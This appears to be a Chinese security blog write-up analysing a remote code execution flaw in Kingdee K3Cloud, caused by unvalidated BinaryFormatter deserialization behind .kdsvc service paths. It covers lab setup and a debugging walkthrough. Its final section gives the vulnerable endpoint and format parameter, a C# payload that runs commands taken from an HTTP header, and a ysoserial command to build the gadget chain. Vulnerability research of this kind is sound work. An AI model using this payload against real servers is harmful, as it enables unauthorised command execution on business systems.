前言:这个漏洞已经是去年的了,今天拿出来学习下其漏洞原理,顺便进行记录下
参考文章:https://www.websecuritys.cn/index.php/archives/667/
参考文章:https://learn.microsoft.com/zh-cn/dotnet/framework/debug-trace-profile/making-an-image-easier-to-debug
参考文章:https://pkgsfile.open.kingdee.com/DVD/V81E/K3Cloud_V8.1_DVD.zip
环境搭建
机器:2h16g 磁盘100g(用于装数据库使用)
K3Cloud 8.1:https://pkgsfile.open.kingdee.com/DVD/V81E/K3Cloud_V8.1_DVD.zip
MSSQL 2012 SP3:https://download.microsoft.com/download/5/5/9/559396D3-C62B-4BD6-B9BC-527C71C4A461/CHS/x86/SQLEXPR_x86_CHS.exe
安装完登录选项如下,开启其他机器访问,要不然不方便调试。
mportant; cursor: zoom-in; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) 0s !important;"/>
漏洞分析
影响
6.x版本:低于6.2.1012.4
7.x版本:7.0.352.16 至 7.7.0.202111
8.x版本:8.0.0.202205 至 8.1.0.20221110
调试
这边附加的进程直接附加w3wp进程前台K3Cloud来进行调试,k3cloud主要分为两个部分,分别就是K3Cloud前台(80端口)和ManageSite后台(8000端口),如下图所示
注:因为程序都是Release发布的,Release的使⽤VS调试⾃带的程序⼀样代码会被优化,微软官⽅提供了对应的调试解决⽅案,在dll所在⽬录创建⼀个同名的ini⽂件,内容如下所示,最后然后重启IIS即可生效。
注:通过设置环境变量同样可行
[.NET Framework Debugging Control]GenerateTrackingInfo=1AllowOptimize=0
这里提供一个bat脚本进行生成
@echo off
setlocal enabledelayedexpansion
REM 遍历当前目录下所有的 DLL 文件
for %%f in (*.dll) do (
REM 将 DLL 文件名的扩展名替换为 .ini
set "ini_file=%%~nf.ini"
REM 写入指定的内容到 .ini 文件
(
echo [.NET Framework Debugging Control]
echo GenerateTrackingInfo=1
echo AllowOptimize=0
) > "!ini_file!"
)
echo INI文件生成完成。
pause
跟进KDSVC后缀路径解析Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandler入口点,对应文件位于
不匹配_pr_.kdsvc 或者 _prs_.kdsvc 或者 /a
这三种的时候,会返回KDSVCHandler处理器
跟进KDSVCHandler可以看到ProcessRequest和ProcessRequestInternal方法的实现
ProcessRequest主要就是解析了客户端传来的数据并将其根据Content-Type的不同来进行封装RequestExtractor对象
封装完RequestExtractor对象交给ProcessRequestInternal来进行下一步的处理
注:通过ASP执行流程可以知道先执行ProcessRequest后执行ProcessRequestInternal
ProcessRequestInternal方法这边正常流程跟进到ExecuteRequest方法
通过UriUtils.Validate方法来验证路径对应的文件的是否存在
接着就是来到RequestExcuteRuntime.StartRequest方法,这边会对一些session进行处理,接着就会来到ServiceTypeManager.BuidServiceType方法中
ServiceTypeManager.BuidServiceType方法会根据路径来加载对应的程序集,如果请求路径末尾为kdsvc,但是不包含common.kdsvc的话那么会进行XmlSerializer反序列化的方式来进行加载
接着就会来到金蝶自定义的一个管道pipeline执行流程
其中默认的管道模块是由ModulePipelineBuilder来进行构建的,每个如下图所示
ModulePipeline会将其封装好的KDServiceContext作为参数传入每个ModulePipeline的OnProcess方法中进行处理
其中导致反序列化的地方就是其中的ExecuteServiceModule模块的OnProcess方法开始的,如下图所示
ExecuteServiceModule模块的OnProcess方法主要就是验证了客户端传来的数据以及判断了数据类型是如何,然后通过SerializerProxy来进行封装
这里的SerializerProxy是由SerializerManager.Create创建的,它会根据客户端传来的format参数来返回对应类型的SerializerProxy
接着将封装完的SerializerProxy传入到this.executor.Execute方法中,根据数据类型用DeserializeParameters对其中的数据进行反序列化触发漏洞,如下图所示
可以看到数据无任何校验就直接进行serializer.Deserialize反序列化
利用
当传入的路径为Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm.common.kdsvc,其中变量赋值的过程是如下
svcFullName=Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm.common.kdsvc
text=.common.kdsvc
text2=Kingdee.BOS.ServiceFacade.ServicesStub
text3=ServicesStub
text4=CloseForm
text5=DynamicFormService
text6=Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm
serviceType.ServiceName=Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm
fullNameKingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService
这边直接跟到Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm
public string CloseForm(JSONArray pparams){ foreach (object obj in pparams) { JSONObject jsonobject = (JSONObject)obj; string value = jsonobject.GetValue<string>("servicename", ""); string text = "CloseForm"; string value2 = jsonobject.GetValue<string>("pageid", ""); JSONArray value3 = jsonobject.GetValue<JSONArray>("paramdata", null); this.Call(value, value2, text, value3); } return null;}
最终反序列化的过程中还校验了传入参数的类型,只有当类型不是为string,IsEnum,int,byte,float,double,long,datetime,decimal,bool的时候才会通过反序列化SerializerProxy来处理这段数据
public object Deserialize(string content, Type type) { if (string.IsNullOrEmpty(content)) { if (type.IsValueType) { return Activator.CreateInstance(type); } if (type.Equals(typeof(string))) { return content; } return null; } else if (type == typeof(string)) { if (this.proxy.RequireEncoding) { byte[] array = this.proxy.Encoder.Decoding(content); return this.encoding.GetString(array, 0, array.Length); } return content; } else { if (type.IsEnum) { return Enum.Parse(type, content, true); } if (type == typeof(int)) { return int.Parse(content); } if (type == typeof(byte)) { return byte.Parse(content); } if (type == typeof(float)) { return float.Parse(content); } if (type == typeof(double)) { return double.Parse(content); } if (type == typeof(long)) { return long.Parse(content); } if (type == typeof(DateTime)) { return DateTime.Parse(content); } if (type == typeof(decimal)) { return decimal.Parse(content); } if (type == typeof(bool)) { return bool.Parse(content); } return this.proxy.Deserialize(content, type); } }
构造Binary格式的SerializerProxy序列化代理器即可,对应的format参数为3
cmd.cs
class E{public E(){System.Web.HttpContext context = System.Web.HttpContext.Current;context.Server.ClearError();context.Response.Clear();try{System.Diagnostics.Process process = new System.Diagnostics.Process();process.StartInfo.FileName = "cmd.exe";string cmd = context.Request.Headers["cmd"];process.StartInfo.Arguments = "/c " + cmd;process.StartInfo.RedirectStandardOutput = true;process.StartInfo.RedirectStandardError = true;process.StartInfo.UseShellExecute = false;process.Start();string output = process.StandardOutput.ReadToEnd();context.Response.Write(output);} catch (System.Exception) {}context.Response.Flush();context.Response.End();}}
ysoserial.exe -g ActivitySurrogateSelectorFromFile -c "cmd.cs;System.Web.dll;System.dll" -f binaryformatter